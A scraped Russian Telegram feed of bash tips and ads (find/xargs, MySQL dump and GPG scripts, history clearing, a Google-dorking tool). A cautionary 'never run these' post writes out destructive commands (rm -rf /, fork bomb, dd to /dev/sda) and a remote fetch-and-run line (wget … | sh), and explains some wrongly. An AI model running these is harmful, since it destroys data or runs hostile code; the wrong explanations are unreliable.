BashMaster
8.27K subscribers
689 photos
15 videos
1 file
713 links
Удобные консольные наработки на каждый день для разработчиков, девопсов и сисадминов.

Реклама: @Kone4noVasya

Канал на бирже: https://telega.in/c/bash_help
Download Telegram
⚙️ Прокачай терминал! Полезные трюки, которые сделают тебя гуру консоли

✔️О том, что командная строка — это удобнейший инструмент, знает любой юниксоид, потративший пару часов на изучение базовых команд и синтаксиса bash. Но далеко не каждый понимает, насколько на самом деле может быть эффективна консоль. В этой статье мы разберем множество интересных трюков, которые позволят тебе так прокачать навык обращения с командной строкой, что ты уже не захочешь возвращаться к графическому интерфейсу.

✔️Эта статья не обучит тебя, как пользоваться консолью, как объединять команды в пайпы и перенаправлять ввод-вывод. Она не о том, как писать скрипты или функции. Из нее ты не узнаешь, чем отличается bash от tcsh. Ее задача — показать тебе, как использовать консоль на всю катушку, добавить +50 к скорости ввода команд и +100 к эффективности.

Содержание статьи:
▶️Мигрируем на ZSH
▶️Перемещаемся по каталогам быстро
➡️Fasd
➡️Peco
▶️Используем автодополнение на полную катушку
▶️Работаем с историей команд
▶️Копируем, удаляем, переименовываем
▶️Ищем правильно
▶️Работаем с буфером обмена
▶️Выводы

🖼️ Дочитать статью

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥9👍62
⚡️Совместно с компанией Zyxel разыгрываем 5 сетевых устройств

– Точка доступа Zyxel NWA1123ACv3
– 4g-роутер Zyxel LTE3202-M437
– Гигабитный роутер Zyxel NBG6515
– Портативный роутер Zyxel WAH7601
– Гигабитный коммутатор Zyxel GS-108B

Победители самостоятельно выбирают какой приз им достанется. Отправка по России Почтой за счет отправителя.

Для участия нужно:

1. Быть подписанным на мой канал @poznyaevru
2. Подписаться на канал Zyxel Новости @zyxel_news
3. Нажать на кнопку «Участвовать»

Итоги подведем 22 апреля в 17:00 при помощи бота, который рэндомно выберет победителя.
👍63🔥3😐2
⚙️ Приёмы командной строки

✔️Как обращаться с каталогами с большим количеством файлов
Возможно, вы сталкивались с этой проблемой: вы пытались выполнить ls в каталоге с очень большим количеством файлов, но команда выдавала ошибку "список аргументов слишком длинный".
Есть несколько вариантов обойти это ограничение:
▶️Использование встроенной командной строки
Встроенный Bash не имеет ограничения ARG_MAX.
▶️Используйте find, когда вам нужны параметры форматирования.
find /data/test_xargs -type f -ls -printf '%name'

▶️Или с помощью форматирования, имитирующего ls:
find /data/test_xargs -type f -printf '%f\n


✔️Предположим, что вы хотите сжать все файлы в данном каталоге из предыдущего примера.

Нужен способ регулировать количество запросов на сжатие, чтобы вы не запускали больше процессов, чем количество имеющихся у вас процессоров.

▶️Попробуем сделать это с помощью find и xargs:
find /data/test_xargs -type f -print0| xargs -0 -P $(($(nproc)-1)) -I % gzip %


✔️Совместимость процессора с набором задач для максимального увеличения времени выполнения
Несмотря на ограничение количества процессоров, некоторые интенсивные задания могут замедлять другие процессы на вашем компьютере при поиске ресурсов. Есть несколько вещей, которые вы можете сделать, чтобы держать производительность сервера под контролем, например, с помощью taskset.

Команда taskset используется для установки или получения привязки к процессору запущенного процесса с учетом его pid или для запуска новой команды с заданным привязкой к процессору.

▶️В общем, мы всегда хотим оставлять один из процессоров "свободным" для задач операционной системы. Обычно ядро довольно хорошо работает, привязывая запущенные процессы к определенному процессору, чтобы избежать переключения контекста, но если вы хотите принудительно установить, на каких процессорах будет выполняться ваш процесс, вы можете использовать taskset.
taskset -c 1,2,3,4,5,6,7 find /data/test_xargs -type f -print0| xargs -0 -P $(($(nproc)-1)) -I % gzip %


🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥145👍4
Вместе уютно собираемся по вечерам каждый у себя дома и учимся верстать сайты с нуля. В комплекте приятная музыка, тёмная тема и добрейшее сообщество неопытных верстальщиков, которые вообще-то огого и всем ещё покажут.

Всё это будет на бесплатном марафоне по HTML и СSS «ночной кружок по вёрстке», который пройдёт с 18 по 23 апреля.

За 6 дней вы:

— Изучите основы веб-технологий и попробуете себя в роли фронтенд-разработчика;
— Напишете в тренажёрах свои первые строчки кода и увидите как изменяется страница сайта в реальном времени;
— Поймёте нравится ли вам веб-разработка.

Кстати, а ещё мы разыграем курс по HTML и СSS среди участников марафона.


Вступить в кружок.
😐3🔥2👍1
⚙️ Bash-скрипт для выполнения дампа всех баз данных MySQL, используемых на сервере

✔️Для запуска скрипта необходимо дать права на исполнение скрипту командой chmod +x dump_all_databases.sh.

✔️Запустите скрипт, выполнив одну из следующих команд:

./dump_all_databases.sh
sh dump_all_databases.sh
bash dump_all_databases.sh


✔️Дождитесь, когда выполнится процесс. Дампы будут сохранены в формате YYYYMMDD.name_db.sql.

#!/usr/bin/env bash

databases=`mysql -e "SHOW DATABASES;" | tr -d "| " | grep -v Database`

for db in $databases; do
if [[ "$db" != "information_schema" ]] && [[ "$db" != "performance_schema" ]] && [[ "$db" != "mysql" ]] && [[ "$db" != _* ]] ; then
echo "Dumping database: $db"
mysqldump --databases $db > `date +%Y%m%d`.$db.sql
# gzip $OUTPUT/`date +%Y%m%d`.$db.sql
fi
done


🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15😐65🔥4
Python-разработчики — одни из самых востребованных IT-специалистов на рынке. По данным HeadHunter, более 8 000 компаний ищут компетентных специалистов разных уровней в сфере Python-разработки. Хотите попасть в этот список?

Зарегистрируйтесь на мини-курс прямо сейчас и получите гайд по профессии. Из него узнаете, где используют Python, почему это идеальный язык для новичка и что думают о Python опытные разработчики.


Подробная программа: https://epic.st/_9-WO?erid=2Vtzqw5crUn

Что особенного в мини-курсе по Python:
— Подходит новичкам — от вас не требуется знаний и опыта в IT
— 4 крутых проекта для портфолио
— Практические задания для проверки знаний
— Живое общение со спикером
— 5 статей для старта карьеры в Python-разработке
— Бессрочный доступ к видео

Спикер — Анастасия Борнева, руководитель направления по исследованию данных в «Сбере». Опыт в программировании — более 9 лет. С 2018 года — эксперт по автоматизации процессов с помощью искусственного интеллекта в «Сбере».

Успейте записаться и получить подарки!

Реклама. ЧОУ ДПО «Образовательные технологии «Скилбокс (Коробка навыков)», ИНН: 9704088880
👍2
⚙️ Зарезервированные переменные Bash

$DIRSTACK — Содержимое вершины стека каталогов.
$EDITOR — Текстовый редактор по-умолчанию.
$EUID — Эффективный UID. Если вы использовали программу su для выполнения команд от другого пользователя, то эта переменная содержит UID этого пользователя.
$UID — Содержит реальный идентификатор, который устанавливается только при логине.
$FUNCNAME — Имя текущей функции в скрипте.
$GROUPS — Массив групп к которым принадлежит текущий пользователь.
$HOME — Домашний каталог пользователя.
$HOSTNAME — hostname машины.
$HOSTTYPE — Архитектура машины.
$LC_CTYPE — Внутренняя переменная, которая определяет кодировку символов.
$OLDPWD — Прежний рабочий каталог.
$OSTYPE — Тип ОС.
$PATH — Путь поиска программ.
$PPID — Идентификатор родительского процесса.
$SECONDS — Время работы скрипта (в сек.)
$# — Общее количество параметров переданных скрипту
$* — Все аргументы переданыне скрипту(выводятся в строку).
$@ — Тоже самое, что и предыдущий, но параметры выводятся в столбик.
$! — PID последнего запущенного в фоне процесса.
$$ — PID самого скрипта.
$? — Содержит код завершения последней команды.

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17🔥64
🧠 Вебинар "Как работают программы в Linux?"

На бесплатном практическом уроке от OTUS, вы вместе с опытным экспертом изучите системные вызовы, сигналы и межпроцессное взаимодействие в Linux. Также преподаватель ответит на все вопросы по теме. 

👉 Зарегистрируйтесь на вебинар чтобы принять участие и получить подарок https://otus.pw/k3BC/?erid=LjN8K5L1u 

🎁 Всем кто зарегистрируется подарим урок «Настройка Nginx для высоких нагрузок и защиты от DoS-атак»

Занятие пройдёт 16 апреля в 20:00 мск

📌 Вебинар пройдет в рамках курса «Инфраструктура высоконагруженных систем». Доступна рассрочка на обучение!

Реклама. ООО "ОТУС ОНЛАЙН-ОБРАЗОВАНИЕ". ИНН 9705100963.
👍5🔥1
⚙️ uDork — инструмент для взлома Google

uDork - это сценарий, написанный на языке Bash Scripting, который использует передовые техники поиска Google для получения чувствительной информации в файлах или каталогах, поиска устройств IoT, обнаружения версий веб-приложений и тому подобное.

uDork НЕ совершает атаки на какие-либо серверы, он только использует предопределенные запросы (dorks) и/или официальные списки с сайта exploit-db.com (Google Hacking Database)

🐙 Перейти на Github

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
👍7🔥42😐1
🪞 Современные операционные системы

Видео:
1 — Установка Ubuntu в VirtualBox
2 — Типы ядер. Bash
3 — Файловая система
4 — Процессы
5 — Многопоточность и методы синхронизации

📹 Смотреть на YouTube

Rick Academy 🫥 #обучение
Please open Telegram to view this post
VIEW IN TELEGRAM
👍73🔥3
💥 Шоу-прожарка: собеседование на должность DevOps-инженера в прямом эфире

Хочешь узнать, что ждет на реальном собесе в айти?

18 апреля ты сможешь увидеть это вживую 

На твоих глаза реальный эйчар и матерый техдир будут заваливать стажера Геннадия во время собеседования.

Пройдет Геннадий собеседование или нет — решать зрителям.

Повторов не будет. Трансляция 18 апреля, ссылка будет на канале. Подписывайся, чтобы не пропустить🔥

erid: LjN8KEs7M
😐5👍2🔥1
⚙️ Шифрование файла или каталога

✔️Bash скрипт предназначен для создания простого интерфейса для шифрования файла с помощью инструмента шифрования GnuPG (GPG).

✔️Скрипт приветствует пользователя и предлагает ему ввести точное имя файла или папки, которую нужно зашифровать, включая расширение. Затем он использует GPG для шифрования указанного файла и выводит сообщение об успехе.

✔️Кроме того, он удаляет исходный незашифрованный файл для дополнительной безопасности. Обратите внимание, что скрипт должен быть размещен в той же директории.

▶️Команда "gpg -c filename" используется для шифрования файла с помощью GnuPG (GNU Privacy Guard) с симметричным шифрованием
▶️Команда "gpg -d filename.gpg > filename" используется для расшифровки зашифрованного GPG файла и сохранения расшифрованного содержимого в новый файл.

#!/bin/bash

echo "Welcome! I am ready to encrypt a file/folder for you."
echo "Currently, I have a limitation. Please place me in the same folder where the file to be encrypted is located."
echo "Enter the exact file name with the extension."
read file;

gpg -c "$file"

echo "I have successfully encrypted the file..."

# Ask for confirmation before removing the original file
read -p "Do you want to remove the original file? (y/n): " confirm

if [ "$confirm" == "y" ]; then
rm -rf "$file"
echo "Original file removed."
else
echo "Original file was not removed. Exiting without deletion."
fi


🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
👍145🔥3😐1
⚙️ Как очистить историю bash при выходе из системы

Отключите переменную оболочки HISTFILE при входе в систему, чтобы история команд не сохранялась при выходе из оболочки.

$ echo "unset HISTFILE" | sudo tee /etc/profile.d/unset_histfile.sh 


При необходимости установите для переменной оболочки HISTSIZE значение 0 при входе в систему, чтобы выполненные команды не сохранялись в списке истории.

Внимание, это очень неудобно, так как полностью отключит историю в оболочке входа в систему.

$ echo "HISTSIZE=0" | sudo tee /etc/profile.d/disable_histsize.sh 


Создайте /etc/bash.bash_logout файл, который будет выполняться при выходе из шелла.

Используйте его для очистки истории.

Не волнуйтесь, он будет выполнен после отдельного файла очистки оболочки входа ~/.bash_logout.

$ echo "history -c" | sudo tee /etc/bash.bash_logout 


Обратите внимание, он не будет записывать пустой список истории в файл истории.

Добавление второй команды для записи списка истории в файл истории не будет работать, так как переменная оболочки HISTFILE не была установлена.

Это также означает, что список истории не будет инициализирован из файла истории при запуске.

Удалите существующий файл истории ~ /.bash_history, чтобы все было в порядке. Но помните о других пользователях. Вы всегда можете сохранить список истории в специальный файл.

Обратите внимание, что это добавит текущий список истории в файл.

$ HISTFILE=session_history.txt history -w
$ cat session_history.txt
cat .bash_history
HISTFILE=session_history.txt history -w


🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🔥53
⚡️ RECURA - один из лучших каналов для разработчиков и инженеров.

Канал ведёт практикующий DevOps-инженер, который ежедневно публикует:
код, повышающий эффективность разработки
— лайфхаки и полезные трюки для BashLinuxmacOS
— полезные книги и советы по информационной безопасности
— актуальные новости из мира технологий и нейросетей

Подпишись на @recura_tech, чтобы каждый день открывать для себя что-то новое и быть востребованным специалистом.
👍6🔥53😐1
⚙️ Никогда не запускай эти 11 команд Linux

▶️rm -rf / – Эта команда удалит все файлы и папки на вашем компьютере.

▶️:(){ :|: & };: – Это команда, также известная как "fork bomb", может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы.

▶️mkfs.ext4 /dev/sda – Эта команда форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны.

▶️dd if=/dev/random of=/dev/sda – Эта команда перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных.

▶️chmod 777 / – Эта команда откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности.

▶️mv /home/* /dev/null – Эта команда переместит все файлы в вашей домашней директории в "null", короче, они будут утеряны.

▶️wget http://example.com/file -O /dev/null – Эта команда загрузит файл и перезапишет все данные в "null", что приведет к потере данных.

▶️mkfs.ext4 /dev/sda1 – Эта команда форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны.

▶️ln -s /dev/null /etc/passwd – Эта команда создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных.

▶️echo "Hello" > /dev/sda – это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello».

▶️wget http://malicious_source -O- | sh – Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы.

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
👍2615🔥7😐4
📚 Здесь собраны все вопросы, которые могут спросить на собеседовании. Теперь можно легко получить оффер, подготовившись к самым популярным вопросам. Просто выбери своё направление:

1. Frontend / JavaScript
2. Python
3. Java
4. Тестировщик QA
5. Data Science
6. DevOps
7. C#
8. С/C++
9. Golang
10. PHP
11. Kotlin
12. Swift
👍6
⚙️ Конкатенация строк в Bash

✔️Объединение строк
Самый простой способ объединить две или более строковых переменных — записать их одну за другой:
VAR1="Hello,"
VAR2=" World"
VAR3="$VAR1$VAR2"
echo "$VAR3"


▶️Последняя строка будет отображать объединенную строку:
Hello, World


Вы также можете объединить одну или несколько переменных с помощью буквальных строк:
VAR1="Hello, "
VAR2="${VAR1}World"
echo "$VAR2"


В приведенном выше примере переменная VAR1 заключена в фигурные скобки, чтобы защитить имя переменной от окружающих символов. Если за переменной следует другой допустимый символ имени переменной, вы должны заключить его в фигурные скобки ${VAR1} .

Чтобы избежать проблем с разделением слов или подстановкой слов, вы всегда должны стараться заключать имя переменной в двойные кавычки. Если вы хотите подавить интерполяцию переменных и особую обработку символа обратной косой черты вместо двойных, используйте одинарные кавычки.

Bash не разделяет переменные по «типу», переменные обрабатываются как целые или строковые в зависимости от контекстов. Вы также можете объединять переменные, содержащие только цифры.
VAR1="Hello, "
VAR2=2
VAR3=" Worlds"
VAR4="$VAR1$VAR2$VAR3"
echo "$VAR4"


▶️Вот что будет выведено:
Hello, 2 Worlds


✔️Объединение строк с помощью оператора + =

Другой способ объединения строк в bash — это добавление переменных или буквальных строк к переменной с помощью оператора += :
VAR1="Hello, "
VAR1+=" World"
echo "$VAR1"


В следующем примере оператор += для объединения строк в цикле bash for :
VAR=""
for ELEMENT in 'Hydrogen' 'Helium' 'Lithium' 'Beryllium'; do
VAR+="${ELEMENT} "
done

echo "$VAR"


▶️Вот что будет выведено:
Hydrogen Helium Lithium Beryllium


🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
👍185🔥3😐1
Хочешь изучать DevOps? Но не знаешь где взять информацию и четкий план?

💪 Тогда лови бесплатный мета-курс Devops Roadmap - это расширенный чек-лист, который поможет сориентироваться в мире DevOps и стать крутым спецом.

👀 В мета-курсе перечислены все основные разделы и навыки, которыми должен обладать DevOps инженер: от Linux до программирования.

✔️А еще он будет полезен при подготовке к собеседованиям.

👽 Кстати, бонусом крутой канал о девопс. Там тоже самые свежие IT-новости, полезные советы от DevOps-инженера с 20-летним стажем, эксклюзивные материалы, релизы топовых инструментов, обзоры вакансий и личный взгляд на девопс-сферу.
🔥2😐2
⚙️ Как увеличивать и уменьшать переменную в Bash (Counter)

✔️Использование операторов + и -

Этот метод позволяет вам увеличивать / уменьшать переменную на любое значение, которое вы хотите.

i=$((i+1))
((i=i+1))
let "i=i+1"


i=$((i-1))
((i=i-1))
let "i=i-1"


Вот пример увеличения переменной в цикле until :
i=0

until [ $i -gt 3 ]
do
echo i: $i
((i=i+1))
done

Вывод:
i: 0
i: 1
i: 2
i: 3


✔️Операторы += и -=

В дополнение к основным операторам, описанным выше, bash также предоставляет операторы присваивания += и -= . Эти операторы используются для увеличения / уменьшения значения левого операнда на значение, указанное после оператора.

((i+=1))
let "i+=1"

((i-=1))
let "i-=1"


✔️Использование операторов ++ и --

Операторы ++ и -- увеличивают и уменьшают соответственно его операнд на 1 и возвращают значение.
((i++))
((++i))
let "i++"
let "++i"

((i--))
((--i))
let "i--"
let "--i"


Операторы могут использоваться до или после операнда. Они также известны как:

▶️приращение префикса: ++i
▶️префиксный декремент: --i
▶️постфиксное приращение: i++
▶️постфиксный декремент: i--

Операторы префикса сначала увеличивают / уменьшают операторы на 1 а затем возвращают новое значение операторов. С другой стороны, постфиксные операторы возвращают значение операторов до того, как оно было увеличено / уменьшено.

Если вы хотите только увеличивать / уменьшать переменную, то нет никакой разницы, используете ли вы префиксный или постфиксный оператор. Это имеет значение только в том случае, если результат операторов используется в какой-либо другой операции или присваивается другой переменной.

Ниже приведен пример использования постфиксного инкрементора в сценарии bash:

#!/bin/bash
i=0
while true; do
if [[ "$i" -gt 3 ]]; then
exit 1
fi
echo i: $i
((i++))
done


🖼️ Прочитать статью полностью

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
👍154🔥3😐1
Уйти в пентест? Стать devops-инженером или системным администратором? 
Только вам решать, куда расти, если вы знаете Linux.

Курс "Основы Linux" обучит вас тонкостям работы с ОС: от работы в командной строке до создания прикладных программ.

- 70% практики
- сопровождение куратора
- финальный проект для портфолио
- сертификат или удостоверение о повышении квалификации
- одна из самых низких цен на обучение

Старт курса - 6 мая (длительность 3,5 месяца)

Учитесь у лучших!

@Codeby_Academy
+74994441750
👍4
⚙️ Linux System Checker Script Tool

Bash скрипт, отображающий информацию о системе, ее загрузке, проверяет занятость диска, его скорость, и многое другое.

✔️System Checker проверяет и показывает информацию о Linux системе:

▶️Системная информация
▶️Информация о процессоре
▶️Информация о памяти
▶️Загрузочная информация
▶️Точки монтирования
▶️Тесты IO диска
▶️Топ 5 процессов использующих память
▶️Топ 5 процессов использующих процессор
▶️Скорость интернет загрузки
▶️Статусы systemd юнитов
▶️Информация о пользователях
▶️Слушаемые порты

✔️Основные преимущества - инструмент не требует установки дополнительного софта, использует встроенные инструменты Linux такие, как например lscpu, awk, curl и тп.

Тестируется и используется CentOS/Fedora/Debian

🐙 Перейти на Github

🔨 bash_help
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10🔥64